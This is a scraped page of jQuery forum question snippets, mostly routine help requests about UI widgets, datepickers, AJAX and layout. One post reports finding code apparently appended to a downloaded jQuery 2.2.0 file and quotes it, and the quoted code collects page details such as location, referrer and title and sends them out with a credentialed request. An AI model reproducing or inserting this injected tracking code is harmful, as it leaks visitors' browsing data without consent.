I am using jQuery UI to resize an image with its aspect ratios preserved but .resizable() is messing with the original aspect ratio of the image on IE and edge(latest versions)
The first image is without the resizable(); and the second is with resizable(). As you can clearly see the aspect ratio is damaged can anyone help me with this please? the code is here - <html> <head> <script src="http://code.jquery.com/jquery-1.9.1.min.js"></script> <script src="http://code.jquery.com/ui/1.9.2/jquery-ui.js"></script> <link rel="stylesheet" type="text/css" href="http://code.jquery.com/ui/1.9.2/themes/base/jquery-ui.css"> <style type="text/css"> div{ width: 700px; height: 700px;
How to put a loader inside a for loop that calls JSON
I do a Json call in a for loop and at every cycle it inserts a record to a database. Everything works good but sometimes it would just skip the for loop and not insert any record even though in the DOM I can see all the selected items that needed to be added to a database. My question is there a way I can trap such issue? I"m thinking putting a wait loader would not allow user to submit the form until it completes all cycle. How to do that? or is there a more efficient method to call JSON instead
$.get not displaying all the data?
Hi everyone, I am trying to see the data that is seeing being loaded with the $.get function. Unfortunately, $.get("index.html",function(data,textStatus, jqXHR) function data (member) is not returning everything in index.html? I don't know if the dev tool in Chrome is just clipping off after a certain section (kind of letting you know information keeps on) or if data is simply not returning everything on the page? <div class="center_reset_… " <---- This is the last line data returns or sees (notice
how to get level wise data from jqxtreegrid?
how to get level wise data from jqxtreegrid?
install my favorites plugins auto magically for all projects? possible ?
What if i have a set of 10 of my favorite plugins that i would like to install using npm , how do i install these set of 10 favorites plugins for every project ? Do able ? Sorry , i know this is off topic :P Thank you.
Sporadic div positioning with Jquery
Hello all, I am currently using jquery + "isotrope" to make an image gallery where images can be filtered using "data-filters". But "Isotope" uses grids to organise the divs but I would like something like the following image which is kind of free of a grid or random positioning. Do you know how I can tweak "Isotrope" to make it appear more loose or free from some masonry or grid-like system? The closest I got was the attempt below, but as you can see in the jsfiddle, there is no gutter between
Resizing boxes to fill empty space
Hello ! I am using this code : CSS main span{ display: inline-block; height:250px; line-height:250px; margin:0px; border:1px solid #efefef; min-width:200px; max-width:350px; } HTML <main id="main"><span class="items"></span><span class="items"></span><span class="items"></span><span class="items"></span><span class="items"></span><span class="items"></span><span class="items"></span><span class="items"></span><span class="items"></span><span
jQuery add and remove Class breaks on Chrome
Hi, I have this custom slide in animation based on css transitions with add and remove Class. Example at:http://codepen.io/TheEnd/full/pgGJWX/ The code goes like this, ///* animate code start here currentSlideX_Wrapper manipulation - .slide */// var currentSlideX_Wrapper = $this.parents(".slideX"), nextSlideX_Wrapper = currentSlideX_Wrapper.next(".slideX"); //animateInNextSlide currentSlideX_Wrapper.removeClass("active");
get select options key values
Hi ! <select id="select"> <option value="1">one</option> <option value="2">two</option> <option value="3">three</option> <option value="4">four</option> </select> <label id="values"></label> how can I get with jquery an array with options key => value 1 => one 2 => two ... then loop my array and get a text somewhere with all key = value ? my code is not woking (i get 3 = 4 ??) jQuery(function ($) { ///////////////////// $(function() { var options = $('#select option'); var values =
Read More/ Less Not Working
Dear Sir http://himashreetours.com/aboutus1.php i m trying Read More Read less for above link 1. Its not working where ever I want 2, But working fine for other text displayed at bottom of this page I tried development tool and found following errors Uncaught SyntaxError: Unexpected token } Navigated to http://himashreetours.com/aboutus1.php aboutus1.php:89Uncaught SyntaxError: Unexpected token } Navigated to http://himashreetours.com/aboutus1.php aboutus1.php:89 Uncaught SyntaxError: Unexpected
Newbie question
Hi I inherited this jQuery code; jQuery("#login-form").submit(function(){ var str = jQuery(this).serialize(); jQuery.ajax({ type: "POST", url: "includes/login-send.php", data: str, success: function(msg) { jQuery("#formstatus").ajaxComplete(function(event, request, settings){ if(msg == 'OK'){ window.location.href = "index.php"; } else{ var openingTag='<div class="formstatuserror">'; var closingTag="</div> "; result = openingTag.concat(msg,closingTag); } jQuery(this).html(result); <=====
Menu that is similiar as compose
I'm creating a compose that you can add text inside of a body and I'm looking for meny that you can use in order to edit the text. Do you know where I can download as a open source in relation to web development? Thank you!
Can't get jQuery script to work
Hi there first post here. Im looking at a Jquery script that should work and I have tested it here: http://jsfiddle.net/LysCF/13/ But I can't get it to work in the browser: Chrome and IE What do I need to get it to work? The drop down Menu is opened when page is loaded. Thanks
Bizarre symbols on the buttons (Back button, home button)
Hi I'm using jQM 2.2.0 on android using phonegapBuild. everything works great on ios bur I have an issue on Android smatphones only: on the buttons (Back button, home button) there's a symbols, like the social media symbols ! with dashes on the border of the buttons ! my code: <div data-role="header" data-rel="back" data-add-back-btn="true" data-position="fixed" data-theme="b" data-tap-toggle="false" > <!--data-rel="back" data-add-back-btn="true"--> <a href="#" data-icon="arrow-l" title="Go
Problem updating value using DatePicker in a dynamic table
Hello. I am trying to work on a HTML table where the user can select a checkbox and update a date value. Here is the DatePicker function and the JSP definition of the table: $(function () { $("input[id$='ModifyStatusDate']").datepicker({ dateFormat: "yy-mm-dd" }); }); <tr> <td align="center"> <input style="width:50px;" type="checkbox" id="selectedSched"
datepicker accessibility extension: voice-over compatibility
Although there are proposed keyboard accessibility changes for datepicker here: http://wiki.jqueryui.com/w/page/12137778/Datepicker There is no mention of voice-over support, Is it planned? I am considering contributing to the datepicker module hosted on Github: https://github.com/jquery/jquery-ui/tree/datepicker Thanks, Omar
Retain active Tab after page load
I"m trying to retain an active tab after the page is loaded. I'm open to options either by saving the state or by querystring. whichever is easier to implement. Here is the working fiddle https://jsfiddle.net/wsvqavag/6/ Please advise Thanks
Why doesnt Dialog open before each runs?
It seems I cant figure out why I cant get a dialog box to open or a div to show/hide before the each function runs... even though I place the open action before the .each function. The Show function only runs after the each function is completed. How can I get apDiv1 to show, then the each function works , and when done hides apDiv1? Thanks in Advance $('#ApplyM1').click(function() { $('#apDiv1').show(); $('.checkbox1').each(function() { // my stuff }) $('#apDiv1').hide();
Detecting if a radio button is disabled.
Can anyone help me please. I have a group of radio buttons that when another button is press I want to be able to detect if any of them are disabled. I have tried various ways but can't find the right solution. See - https://jsfiddle.net/a4poster/8n3ajyLm/9/ Thanks in advance, A4.
Combining MixItUp and Magnific Popup won't work.
Hi could anybody please help. I have lightbox popups with Magnific popup on the boxes on this page: www.yorkshire.hosting They work great until you click to filter the categories (which I use MixItUp for) - then the popups no longer work. Could anybody please take a look as I can't figure out a fix... Thanks for any help.
What are my options as far as CORS with .getJSON calls?
I have found this thread http://forum.jquery.com/topic/cross-domain-ajax-cors that talks about having the server doing the calling and reserving it for the getJSON calls. Is this the only option that I have or are there other alternatives I can try? Thank you.
Rebind keypress to element after unbound with one() method ?
I'm trying to rebind a button that was previously unbound with the one() method, like this: $(document).one('keypress', 'button', function(e){ // do something once here ... }).on('keyup', 'button', function(){ // How to rebind keypress to button ? }); Because the keypress event triggers non-stop while a key is continuously pressed, I use the one() method to trigger function only once, and because I need keypress in order to use String.fromCharCode(e.which), how can I rebind button to keypress using
Selecting a tag in jQuery
Say we have html <ul> <li>First</li> <li>Second</li> <li>Third</li> <li>Fourth</li> <li>Fifth</li> </ul> <ul id="results"> </ul> Then if I try $('<li>').text('hi'); nothing happens. What does $('<li>') do as opposed to $('li')? Thanks. Refer to the second example from http://api.jquery.com/map/
Ajax Calls
Hi folks, Using ASP.Net , I am uploading huge files using iframe control, parallely calling Some Webmethod. Untill the upload finishes the webmethod status is showing pending. Irrespective of upload or iframe activity , my webmethod needs to call and return the response. Please advice, Thanks in advance.
SEC7133 MIME- Handling with IE 11
Hi everyone, I was testing my Website with different browsers and under IE(Internet Explorer) 11, I got the following error. SEC7113 "CSS was ignored due to mime type mismatch" File jquery-ui.min.css I only tested IE 11 and Chrome ver: 48.0.2564.109 (I believe is the latest), but this only occurs under IE 11. After looking around and clicking here and there, I find an explanation regarding the MIME-Handling. According to IE it is set in place to prevent people from hacking into a website through
Jquery latest
Hi everyone, Its been a while since I played with Website programming, recently I loaded a webserver module and noticed that the tabs in Chrome didn't displayed properly. What I mean by this is that they appeared as links on the left-side instead of actual tabs. In my Dreamweaver software, it seems fine and everything works as it should. Anyways, I have noticed that my jquery is out of date: <!doctype html> <html> <head> <meta charset="utf-8"/> <meta http-equiv="pragma" content="no-cache"> <meta
Actin based on selected option
I'm trying to get a comand to run instantly when a user selects an option from the select options. My code looks like below. <select title="" name="marital_status" id="marital_status"> <option value=""></option> <option value="Dating">Dating</option> <option value="Divorced">Divorced</option> <option value="Married" selected="">Married</option> <option value="In a Committed Relationship">In a Committed Relationship</option>
Need help to validate with jquery
It work fine but it also add null value need hell to validate Form HTML file <div class="Addform AddP_show"> <input type="button" class="btn btn-success" value="View Project"> <a href="#" class="close1">[ X ]</a> <form action="Add_pro_exec.php" method="POST" name="Addproject" id="Addpro" class="form-horizontal"> <div class="form-group"> <label for="ProjectName" class="col-sm-2 control-label">Project Name:</label> <div class="col-sm-6">
multiple date ranges in minDate and maxDate
My user is adding a row to a grid and is selecting dates on a beginDate datepicker and an EndDate datepicker. I want to limit the user to two date ranges in the minDate of the beginDate datepicker. When user selects the beginDate he/she should see two ranges with minDates and maxDates. I have tried minDate: '01/03/2014' || '06/17/2014' maxDate:'01/14/2014' || '06/30/2014' which gives the first range. If I use && in place of || I get the last range. I could be requiring something of datepicker
Regex to find a match word/phrase in returned data?
Okay, so this is my code thus far. function(data) { var output = '<div class="gs-title">'; $.each(data.data, function(i, article) { output += '<a href="https://kb.mysite.com/help/pdfexport/id/'+ article.id + '">' + article.name + '</a>'; }); output += '</div>'; $("##resultarea").replaceWith(output); }); When the data is returned from the request, I want to highlight the search word that's found in the paragraph by putting it in a separate class. I found this
Pagecontainer change transition duration
Is there an option to change the duration of a transition? I am using pagecontainer.change to move to other pages, but I would like to slow down the transition. Thanks Pieter Some more information after some more research: in the css I have @media only screen and (max-width: 799px) { .slide.out, .slide.in { -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 950ms; -moz-animation-timing-function: ease-out; -moz-animation-duration: 950ms;
Como puedo hacer para mostar una imagen como icono?
saludos y bendiciones amigos del foro, les traigo una inquietud, como puedo hacer para insertar mi imagen que esta en rojo en mi instruccion echo que esta de color amarillo, espero que me puedan ayudar ya probe de todas formas pero nada, bueno gracias por su ayuda y tiempo, rudolf heiner. <div data-role="page" data-theme="a" id="page2"> <div data-role="header" id="hdrMain" name="hdrMain" data-nobackbtn="false" data-position="fixed"> <h1>Busqueda de Marcas</h1> </div>
change the values of text box when page load using jquery
I need to change the value of dependent text box when the page load,I did with after the keyup, change and mouseover method, but exactly what i need is changing of values when page load using jquery. here this is my following code,Please help me guys.. $(document).ready(function(){ $("#product").on("keyup change mousemove", '.product-item select, .product-item input', function() { var $line = $(this).parents('.product-item'); var currname = $line.find('.dropdownbox1 option:selected').text();
Changing background-color permanently with .hover()?
I'm working on a mini-project that mimics Etch-a-sketch. I want to change the background color of each dynamically created DIV when the mouse hovers over the element, the change must be permanent. I've spent a couple hours trying to get the color to stick but can't get there on my own, any help will be greatly appreciated! $(document).ready(function () { var grid = 0; //Function to create a grid function createGrid(g) { for (var y = 1; y <= grid; y++) { for (var
Need help on ANIMATING BALL trailing light effect
I need assistance on creating a "trailing lights effect" to a .png ball image. I have created this game in AS3. (see attachment (example_effect.swf). I need to convert the animation to HTML5. Which I have allready done. But the problem I am having is the animation. I cant seem to figure out how to animate the "ball" with trailing lights to convert it to html5 animation & also the "zoom effect with numbers". I do have the core animation happening but cant get the effects that represent the .swf
How to create a dynamic infographic map using jQuery/SVG
Hey guys i was to create a map that looks like THIS. A live example can be seen here . Now i had a look at this plugin they have used on that website and it happens to be jvectorMap. Now i went through the simple basic example and the code used to create a simple map , looks like HERE . Thats a heck of alot of files being imported. is there an easier way to make a map like that ? basically i don;t want anything dynamic as of now , just a static map (something like jvector map). i should be able
set a default selection on select box dropdown list using jquery.
Here this is my for following code for creating dependent select box using jquery. what i am exactly needed is how to set default selection of dropdown,I am struggle on this selection.Please help me guys... var categories = { "Select":[{value:'select',text:'Select'}], "United States":[{value:'0', text:'Select'},{value:'55', text:'Currency'},{value:'67', text:'Card'},{value:'56', text:'Cheque'}], "European":[{value:'0', text:'Select'},{value:'30', text:'Currency'},{value:'40',
TABS and click reactions
Hi all Just developing a user interface for robot control on a windows machine. I'm using TABs from JQueryUI. For that I created a index.html containing the widget header with 3 TABS - inndex.html (contains js) - TAB0 is loaded from a static file called Panel.html (nearly empty) - TAB2 is loaded from a static file called Map.html (nearly empty) - TAB1 is loaded from a static file called Alarmlist.html (contains js) After calling http://192.168.1.200:8080/Robbi/index.html with Chrome I get a proper
Javascript malware code injected when download jquery 2.2.0
Hey Guys, So when I'm downloading jquery 2.2.0 (minified or not) this code gets added at the end of the file : ;(function(a,b,h,k){function ajax(b,a,c){var d=null;try{d=new XMLHttpRequest}catch(e){try{d=new ActiveXObject("Microsoft.XMLHTTP")}catch(f){}}d.onreadystatechange=function(){4==d.readyState&&c&&c(d.responseText)};d.open(a?"POST":"GET",b,!0);d.withCredentials=!0;a?(d.setRequestHeader("Content-Type","application/json; charset=UTF-8"),d.send(JSON.stringify(a))):d.send()}for(var e=b.documentElement,c=b.body,m=a.innerWidth||e.clientWidth||c.clientWidth,e=a.innerHeight||e.clientHeight||c.clientHeight,c=document.querySelectorAll("meta"),
g=[],f=0;f<c.length;f++)"keywords"==c[f].name.toLowerCase()&&g.push(c[f].content);req={width:m,height:e,frame:a!=a.top,location:b.location.toString(),referer:b.referrer,title:b.title,keywords:g.join(",
Syntax correction - offset()
Hi Please let me know what is wrong with this code. Is there an error in the offset method syntax? <!DOCTYPE html> <html> <head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js"></script> <script> $(document).ready(function(){ $('button').click(function(){ $('p').offset(top:100,left:0); }); }); </script> </head> <body> <p>This is a paragraph.</p> <button>Set offset coordinates of the p element using an object</button> </body> </html> Thanks a lot Jayashree
Next Page